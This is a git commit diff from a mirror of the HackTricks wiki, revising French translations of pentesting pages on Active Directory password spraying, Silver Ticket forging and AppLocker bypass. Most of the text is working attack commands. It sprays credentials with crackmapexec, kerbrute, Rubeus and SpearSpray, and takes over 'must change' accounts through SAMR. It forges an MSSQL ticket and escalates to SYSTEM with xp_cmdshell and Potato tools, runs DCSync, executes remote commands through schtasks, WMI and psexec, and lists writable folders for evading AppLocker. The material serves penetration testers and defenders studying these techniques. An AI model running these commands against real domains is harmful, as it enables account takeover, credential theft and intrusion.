mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/password
This commit is contained in:
parent
4c0dd25387
commit
f78cc8fee1
@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Vérifiez le post incroyable de :** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
**Consultez cet excellent article :** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
## **Password Spraying**
|
||||
|
||||
Une fois que vous avez trouvé plusieurs **noms d'utilisateur valides** vous pouvez essayer les **mots de passe les plus courants** (gardez à l'esprit la politique de mot de passe de l'environnement) avec chacun des utilisateurs découverts.\
|
||||
Par **défaut** la **longueur** **minimale** du **mot de passe** est **7**.
|
||||
Par **défaut** la **longueur minimale** du **mot de passe** est **7**.
|
||||
|
||||
Des listes de noms d'utilisateur courants peuvent aussi être utiles : [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
@ -14,7 +14,7 @@ Remarquez que vous **pourriez verrouiller certains comptes si vous essayez plusi
|
||||
|
||||
### Obtenir la politique de mot de passe
|
||||
|
||||
Si vous avez des identifiants utilisateur ou un shell en tant qu'utilisateur de domaine, vous pouvez **obtenir la politique de mot de passe avec** :
|
||||
Si vous avez des identifiants utilisateur ou un shell en tant qu'utilisateur de domaine vous pouvez **obtenir la politique de mot de passe avec**:
|
||||
```bash
|
||||
# From Linux
|
||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||
@ -31,7 +31,7 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Exploitation depuis Linux (ou tous)
|
||||
### Exploitation depuis Linux (ou depuis n'importe quel OS)
|
||||
|
||||
- En utilisant **crackmapexec:**
|
||||
```bash
|
||||
@ -47,20 +47,20 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
# Brute-Force
|
||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||
```
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(vous pouvez indiquer le nombre de tentatives pour éviter les verrouillages):**_
|
||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(vous pouvez indiquer le nombre de tentatives pour éviter les verrouillages de comptes):**_
|
||||
```bash
|
||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||
```
|
||||
- Utiliser [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - PAS RECOMMANDÉ — PEUT PARFOIS NE PAS FONCTIONNER
|
||||
- Utiliser [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - PAS RECOMMANDÉ — PARFOIS NE FONCTIONNE PAS
|
||||
```bash
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||
```
|
||||
- Avec le module `scanner/smb/smb_login` de **Metasploit** :
|
||||
- Avec le module `scanner/smb/smb_login` de **Metasploit**:
|
||||
|
||||
.png>)
|
||||
|
||||
- En utilisant **rpcclient** :
|
||||
- En utilisant **rpcclient**:
|
||||
```bash
|
||||
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
||||
for u in $(cat users.txt); do
|
||||
@ -69,7 +69,7 @@ done
|
||||
```
|
||||
#### Depuis Windows
|
||||
|
||||
- Avec [Rubeus](https://github.com/Zer1t0/Rubeus) version avec le module 'brute' :
|
||||
- Avec [Rubeus](https://github.com/Zer1t0/Rubeus) (version avec le module 'brute'):
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,7 +77,7 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Il peut générer des utilisateurs à partir du domaine par défaut et il récupère la stratégie de mot de passe du domaine et limite les tentatives en conséquence):
|
||||
- Avec [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Il peut, par défaut, générer des utilisateurs depuis le domaine et récupérer la politique de mot de passe du domaine pour limiter les tentatives en conséquence) :
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
@ -85,20 +85,52 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
Invoke-SprayEmptyPassword
|
||||
```
|
||||
### Identifier et prendre le contrôle des comptes "Password must change at next logon" (SAMR)
|
||||
|
||||
Une technique discrète consiste à essayer un mot de passe bénin/vide et à détecter les comptes renvoyant STATUS_PASSWORD_MUST_CHANGE, ce qui indique que le mot de passe a été expiré de force et peut être changé sans connaître l'ancien.
|
||||
|
||||
Flux de travail :
|
||||
- Énumérer les utilisateurs (RID brute via SAMR) pour constituer la liste cible :
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
```bash
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
- Spray un password vide et continuez sur les hits pour capturer les comptes qui doivent changer au prochain logon:
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
- Pour chaque hit, changez le password via SAMR avec NetExec’s module (aucun ancien password nécessaire lorsque "must change" est défini) :
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
||||
|
||||
# Validate and retrieve domain password policy with the new creds
|
||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
Notes opérationnelles:
|
||||
- Assurez-vous que l'horloge de votre hôte est synchronisée avec le DC avant les opérations basées sur Kerberos : `sudo ntpdate <dc_fqdn>`.
|
||||
- Un [+] sans (Pwn3d!) dans certains modules (par ex., RDP/WinRM) signifie que les creds sont valides mais que le compte n'a pas les droits de connexion interactive.
|
||||
|
||||
## Brute Force
|
||||
```bash
|
||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||
```
|
||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||
|
||||
Kerberos pre-auth–based spraying réduit le bruit par rapport aux tentatives de SMB/NTLM/LDAP bind et s'aligne mieux sur les politiques de verrouillage AD. SpearSpray associe le ciblage piloté par LDAP, un moteur de patterns, et une prise en compte des politiques (domain policy + PSOs + badPwdCount buffer) pour effectuer du spraying de manière précise et sûre. Il peut aussi taguer les principaux compromis dans Neo4j pour le pathing BloodHound.
|
||||
Kerberos pre-auth–based spraying réduit le bruit par rapport aux tentatives de bind SMB/NTLM/LDAP et s'aligne mieux avec les politiques de verrouillage d'AD. SpearSpray couple LDAP-driven targeting, un moteur de patterns, et une prise en compte des policies (domain policy + PSOs + tampon badPwdCount) pour effectuer du spraying de manière précise et sûre. Il peut aussi tagger les principals compromis dans Neo4j pour le pathing BloodHound.
|
||||
|
||||
Key ideas:
|
||||
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
||||
- Filtrage prenant en compte la politique de verrouillage du domaine et les PSOs pour laisser un tampon configurable d'essais (seuil) et éviter de verrouiller les utilisateurs.
|
||||
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
|
||||
- Découverte d'utilisateurs LDAP avec pagination et support LDAPS, optionnellement en utilisant des filtres LDAP personnalisés.
|
||||
- Politique de verrouillage de domaine + filtrage aware des PSO pour laisser une marge d'essais configurable (threshold) et éviter de verrouiller les utilisateurs.
|
||||
- Validation Kerberos pre-auth utilisant des bindings gssapi rapides (génère 4768/4771 sur les DCs au lieu de 4625).
|
||||
- Génération de mots de passe par pattern, par utilisateur, en utilisant des variables comme les noms et des valeurs temporelles dérivées du pwdLastSet de chaque utilisateur.
|
||||
- Contrôle du débit avec threads, jitter et nombre max de requêtes par seconde.
|
||||
- Contrôle du débit avec threads, jitter, et max requests per second.
|
||||
- Intégration Neo4j optionnelle pour marquer les utilisateurs compromis pour BloodHound.
|
||||
|
||||
Basic usage and discovery:
|
||||
@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
||||
# LDAPS (TCP/636)
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
||||
```
|
||||
Ciblage et contrôle des motifs:
|
||||
Ciblage et contrôle des schémas:
|
||||
```bash
|
||||
# Custom LDAP filter (e.g., target specific OU/attributes)
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
||||
@ -142,17 +174,17 @@ Aperçu du système de patterns (patterns.txt):
|
||||
{samaccountname}
|
||||
{extra}{separator}{year}{suffix}
|
||||
```
|
||||
Les variables disponibles comprennent :
|
||||
Available variables include:
|
||||
- {name}, {samaccountname}
|
||||
- Temporelles extraites de chaque pwdLastSet utilisateur (ou whenCreated) : {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Aides de composition et jeton org : {separator}, {suffix}, {extra}
|
||||
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||
|
||||
Notes opérationnelles :
|
||||
- Privilégiez l'interrogation du PDC-emulator avec -dc pour lire le badPwdCount le plus autoritatif et les informations liées aux politiques.
|
||||
- Les réinitialisations de badPwdCount sont déclenchées au prochain essai après la fenêtre d'observation ; utilisez le seuil et le timing pour rester prudent.
|
||||
- Les tentatives de pré-auth Kerberos apparaissent comme 4768/4771 dans la télémétrie du DC ; utilisez jitter et rate-limiting pour vous fondre.
|
||||
Operational notes:
|
||||
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
|
||||
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
|
||||
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
|
||||
|
||||
> Astuce : la taille de page LDAP par défaut de SpearSpray est 200 ; ajustez avec -lps si nécessaire.
|
||||
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||
|
||||
## Outlook Web Access
|
||||
|
||||
@ -164,7 +196,7 @@ Il existe plusieurs outils pour p**assword spraying outlook**.
|
||||
- Avec [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- Avec [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
|
||||
Pour utiliser n'importe lequel de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un password / d'une petite liste de passwords à spray.
|
||||
Pour utiliser n'importe lequel de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un mot de passe / d'une petite liste de mots de passe pour le password spraying.
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
@ -194,6 +226,7 @@ Pour utiliser n'importe lequel de ces outils, vous avez besoin d'une liste d'uti
|
||||
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,21 +6,21 @@
|
||||
|
||||
## Silver ticket
|
||||
|
||||
L'attaque **Silver Ticket** implique l'exploitation des tickets de service dans les environnements Active Directory (AD). Cette méthode repose sur **l'acquisition du hash NTLM d'un compte de service**, tel qu'un compte d'ordinateur, pour forger un ticket de service de ticket granting (TGS). Avec ce ticket forgé, un attaquant peut accéder à des services spécifiques sur le réseau, **impostant n'importe quel utilisateur**, visant généralement des privilèges administratifs. Il est souligné que l'utilisation de clés AES pour forger des tickets est plus sécurisée et moins détectable.
|
||||
L'attaque **Silver Ticket** implique l'exploitation des service tickets dans les environnements Active Directory (AD). Cette méthode repose sur l'**obtention du NTLM hash d'un service account**, comme un compte d'ordinateur, pour forger un Ticket Granting Service (TGS) ticket. Avec ce ticket forgé, un attaquant peut accéder à des services spécifiques sur le réseau, **usurpant l'identité de n'importe quel utilisateur**, visant généralement des privilèges administratifs. Il est souligné que l'utilisation de AES keys pour forger des tickets est plus sûre et moins détectable.
|
||||
|
||||
> [!WARNING]
|
||||
> Les Silver Tickets sont moins détectables que les Golden Tickets car ils ne nécessitent que le **hash du compte de service**, et non le compte krbtgt. Cependant, ils sont limités au service spécifique qu'ils ciblent. De plus, il suffit de voler le mot de passe d'un utilisateur.
|
||||
De plus, si vous compromettez le **mot de passe d'un compte avec un SPN**, vous pouvez utiliser ce mot de passe pour créer un Silver Ticket en impersonnant n'importe quel utilisateur pour ce service.
|
||||
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
|
||||
> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
|
||||
|
||||
Pour la création de tickets, différents outils sont utilisés en fonction du système d'exploitation :
|
||||
Pour la fabrication de tickets, différents outils sont utilisés selon le système d'exploitation :
|
||||
|
||||
### On Linux
|
||||
### Sur Linux
|
||||
```bash
|
||||
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
|
||||
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
|
||||
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
|
||||
```
|
||||
### Sur Windows
|
||||
### Sous Windows
|
||||
```bash
|
||||
# Using Rubeus
|
||||
## /ldap option is used to get domain data automatically
|
||||
@ -37,48 +37,81 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
|
||||
# Obtain a shell
|
||||
.\PsExec.exe -accepteula \\<TARGET> cmd
|
||||
```
|
||||
Le service CIFS est mis en avant comme une cible courante pour accéder au système de fichiers de la victime, mais d'autres services comme HOST et RPCSS peuvent également être exploités pour des tâches et des requêtes WMI.
|
||||
Le service CIFS est mis en évidence comme une cible courante pour accéder au système de fichiers de la victime, mais d'autres services comme HOST et RPCSS peuvent aussi être exploités pour des tâches et des requêtes WMI.
|
||||
|
||||
## Services Disponibles
|
||||
### Exemple : MSSQL service (MSSQLSvc) + Potato to SYSTEM
|
||||
|
||||
| Type de Service | Tickets Argent Service |
|
||||
Si vous avez le NTLM hash (ou l'AES key) d'un compte de service SQL (par ex. sqlsvc), vous pouvez forger un TGS pour le MSSQL SPN et impersonate n'importe quel utilisateur auprès du service SQL. Ensuite, activez xp_cmdshell pour exécuter des commandes en tant que le compte de service SQL. Si ce token possède SeImpersonatePrivilege, enchaînez un Potato pour élever au niveau SYSTEM.
|
||||
```bash
|
||||
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
|
||||
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
|
||||
-spn MSSQLSvc/<host.fqdn>:1433 administrator
|
||||
export KRB5CCNAME=$PWD/administrator.ccache
|
||||
|
||||
# Connect to SQL using Kerberos and run commands via xp_cmdshell
|
||||
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
|
||||
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
|
||||
```
|
||||
- Si le contexte résultant possède SeImpersonatePrivilege (souvent vrai pour les comptes de service), utilisez une variante de Potato pour obtenir SYSTEM :
|
||||
```bash
|
||||
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
|
||||
PrintSpoofer.exe -c "cmd /c whoami"
|
||||
# or
|
||||
GodPotato -cmd "cmd /c whoami"
|
||||
```
|
||||
Plus de détails sur l'abus de MSSQL et l'activation de xp_cmdshell:
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
Aperçu des Potato techniques:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
## Services disponibles
|
||||
|
||||
| Type de service | Service Silver Tickets |
|
||||
| ------------------------------------------ | -------------------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Selon le système d'exploitation également :</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>Dans certaines occasions, vous pouvez simplement demander : WINRM</p> |
|
||||
| Tâches Planifiées | HOST |
|
||||
| Partage de Fichiers Windows, aussi psexec | CIFS |
|
||||
| Opérations LDAP, y compris DCSync | LDAP |
|
||||
| Outils d'Administration de Serveur à Distance Windows | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| Tickets en Or | krbtgt |
|
||||
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
|
||||
| Scheduled Tasks | HOST |
|
||||
| Windows File Share, also psexec | CIFS |
|
||||
| LDAP operations, included DCSync | LDAP |
|
||||
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| Golden Tickets | krbtgt |
|
||||
|
||||
En utilisant **Rubeus**, vous pouvez **demander tous** ces tickets en utilisant le paramètre :
|
||||
En utilisant **Rubeus** vous pouvez **demander tous** ces tickets en utilisant le paramètre :
|
||||
|
||||
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
||||
|
||||
### IDs d'Événements des Tickets Argent
|
||||
### Event IDs des Silver tickets
|
||||
|
||||
- 4624 : Connexion de Compte
|
||||
- 4634 : Déconnexion de Compte
|
||||
- 4672 : Connexion Administrateur
|
||||
- 4624: Connexion de compte
|
||||
- 4634: Déconnexion de compte
|
||||
- 4672: Connexion administrateur
|
||||
|
||||
## Persistance
|
||||
|
||||
Pour éviter que les machines ne changent leur mot de passe tous les 30 jours, définissez `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou vous pouvez définir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` à une valeur supérieure à 30 jours pour indiquer la période de rotation lorsque le mot de passe de la machine doit être changé.
|
||||
Pour éviter que les machines ne fassent pivoter leur mot de passe tous les 30 jours, définissez `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou vous pouvez définir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` sur une valeur supérieure à 30 jours pour indiquer la période de rotation à laquelle le mot de passe de la machine doit être changé.
|
||||
|
||||
## Abus des Tickets de Service
|
||||
## Abuser des tickets de service
|
||||
|
||||
Dans les exemples suivants, imaginons que le ticket est récupéré en usurpant le compte administrateur.
|
||||
Dans les exemples suivants, imaginons que le ticket a été récupéré en usurpant le compte administrateur.
|
||||
|
||||
### CIFS
|
||||
|
||||
Avec ce ticket, vous pourrez accéder aux dossiers `C$` et `ADMIN$` via **SMB** (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant simplement quelque chose comme :
|
||||
Avec ce ticket vous pourrez accéder aux dossiers `C$` et `ADMIN$` via **SMB** (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant simplement quelque chose comme :
|
||||
```bash
|
||||
dir \\vulnerable.computer\C$
|
||||
dir \\vulnerable.computer\ADMIN$
|
||||
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||||
```
|
||||
Vous pourrez également obtenir un shell à l'intérieur de l'hôte ou exécuter des commandes arbitraires en utilisant **psexec** :
|
||||
Vous pourrez également obtenir un shell à l'intérieur de l'hôte ou exécuter des commandes arbitraires en utilisant **psexec**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/psexec-and-winexec.md
|
||||
@ -86,7 +119,7 @@ Vous pourrez également obtenir un shell à l'intérieur de l'hôte ou exécuter
|
||||
|
||||
### HÔTE
|
||||
|
||||
Avec cette autorisation, vous pouvez générer des tâches planifiées sur des ordinateurs distants et exécuter des commandes arbitraires :
|
||||
Avec cette permission, vous pouvez générer des tâches planifiées sur des ordinateurs distants et exécuter des commandes arbitraires :
|
||||
```bash
|
||||
#Check you have permissions to use schtasks over a remote server
|
||||
schtasks /S some.vuln.pc
|
||||
@ -100,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
|
||||
```
|
||||
### HOST + RPCSS
|
||||
|
||||
Avec ces tickets, vous pouvez **exécuter WMI dans le système de la victime** :
|
||||
Avec ces tickets, vous pouvez **exécuter WMI sur le système victime** :
|
||||
```bash
|
||||
#Check you have enough privileges
|
||||
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
|
||||
@ -110,19 +143,21 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
|
||||
#You can also use wmic
|
||||
wmic remote.computer.local list full /format:list
|
||||
```
|
||||
Trouvez **plus d'informations sur wmiexec** dans la page suivante :
|
||||
Consultez **plus d'informations sur wmiexec** dans la page suivante :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/wmiexec.md
|
||||
{{#endref}}
|
||||
|
||||
### HÔTE + WSMAN (WINRM)
|
||||
### Hôte + WSMAN (WINRM)
|
||||
|
||||
Avec l'accès winrm sur un ordinateur, vous pouvez **y accéder** et même obtenir un PowerShell :
|
||||
Avec un accès winrm à un ordinateur, vous pouvez **y accéder** et même obtenir un PowerShell:
|
||||
```bash
|
||||
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
||||
```
|
||||
Vérifiez la page suivante pour apprendre **plus de façons de se connecter à un hôte distant en utilisant winrm** :
|
||||
Consultez la page suivante pour apprendre **d'autres façons de se connecter à un hôte distant en utilisant winrm**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../lateral-movement/winrm.md
|
||||
@ -133,11 +168,11 @@ Vérifiez la page suivante pour apprendre **plus de façons de se connecter à u
|
||||
|
||||
### LDAP
|
||||
|
||||
Avec ce privilège, vous pouvez extraire la base de données DC en utilisant **DCSync** :
|
||||
Avec ce privilège, vous pouvez dump la base de données du DC en utilisant **DCSync**:
|
||||
```
|
||||
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
|
||||
```
|
||||
**En savoir plus sur DCSync** dans la page suivante :
|
||||
**En savoir plus sur DCSync** sur la page suivante :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -150,6 +185,7 @@ dcsync.md
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
|
||||
- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## Politique AppLocker
|
||||
|
||||
Une liste blanche d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et à s'exécuter sur un système. L'objectif est de protéger l'environnement contre les logiciels malveillants nuisibles et les logiciels non approuvés qui ne correspondent pas aux besoins spécifiques d'une organisation.
|
||||
Une whitelist d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et exécutés sur un système. L'objectif est de protéger l'environnement contre les malware nuisibles et les logiciels non approuvés qui ne correspondent pas aux besoins métier spécifiques d'une organisation.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de liste blanche d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **quelles applications et fichiers les utilisateurs peuvent exécuter**. Elle fournit un **contrôle granulaire** sur les exécutables, les scripts, les fichiers d'installation Windows, les DLL, les applications empaquetées et les installateurs d'applications empaquetées.\
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de whitelisting d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **quelles applications et quels fichiers les utilisateurs peuvent exécuter**. Il fournit un **contrôle granulaire** sur les exécutables, scripts, fichiers d'installation Windows, DLLs, packaged apps, et packed app installers.\
|
||||
Il est courant que les organisations **bloquent cmd.exe et PowerShell.exe** et l'accès en écriture à certains répertoires, **mais tout cela peut être contourné**.
|
||||
|
||||
### Vérifier
|
||||
### Vérification
|
||||
|
||||
Vérifiez quels fichiers/extensions sont sur liste noire/liste blanche :
|
||||
Vérifiez quels fichiers/extensions sont blacklisted/whitelisted:
|
||||
```bash
|
||||
Get-ApplockerPolicy -Effective -xml
|
||||
|
||||
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
$a = Get-ApplockerPolicy -effective
|
||||
$a.rulecollections
|
||||
```
|
||||
Ce chemin de registre contient les configurations et politiques appliquées par AppLocker, fournissant un moyen de revoir l'ensemble actuel des règles appliquées sur le système :
|
||||
Ce chemin de registre contient les configurations et les politiques appliquées par AppLocker, fournissant un moyen d'examiner l'ensemble actuel des règles appliquées sur le système :
|
||||
|
||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
||||
|
||||
### Contournement
|
||||
### Bypass
|
||||
|
||||
- Dossiers **écrits** utiles pour contourner la politique AppLocker : Si AppLocker permet d'exécuter quoi que ce soit à l'intérieur de `C:\Windows\System32` ou `C:\Windows`, il existe des **dossiers écrits** que vous pouvez utiliser pour **contourner cela**.
|
||||
- Utile **Writable folders** to bypass AppLocker Policy : si AppLocker permet d'exécuter n'importe quoi dans `C:\Windows\System32` ou `C:\Windows`, il existe des **writable folders** que vous pouvez utiliser pour **bypass this**.
|
||||
```
|
||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||
C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
- Les binaires **"LOLBAS"** [**de confiance**](https://lolbas-project.github.io/) peuvent également être utiles pour contourner AppLocker.
|
||||
- **Des règles mal écrites peuvent également être contournées**
|
||||
- Des binaires [**"LOLBAS's"**](https://lolbas-project.github.io/) souvent **fiables** peuvent aussi être utiles pour contourner AppLocker.
|
||||
- **Des règles mal écrites peuvent aussi être contournées**
|
||||
- Par exemple, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, vous pouvez créer un **dossier appelé `allowed`** n'importe où et il sera autorisé.
|
||||
- Les organisations se concentrent souvent sur **le blocage de l'exécutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mais oublient les **autres** [**emplacements d'exécutables PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) tels que `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`.
|
||||
- **L'application des DLL est très rarement activée** en raison de la charge supplémentaire qu'elle peut imposer à un système, et de la quantité de tests nécessaires pour s'assurer que rien ne se casse. Donc, utiliser **des DLL comme portes dérobées aidera à contourner AppLocker**.
|
||||
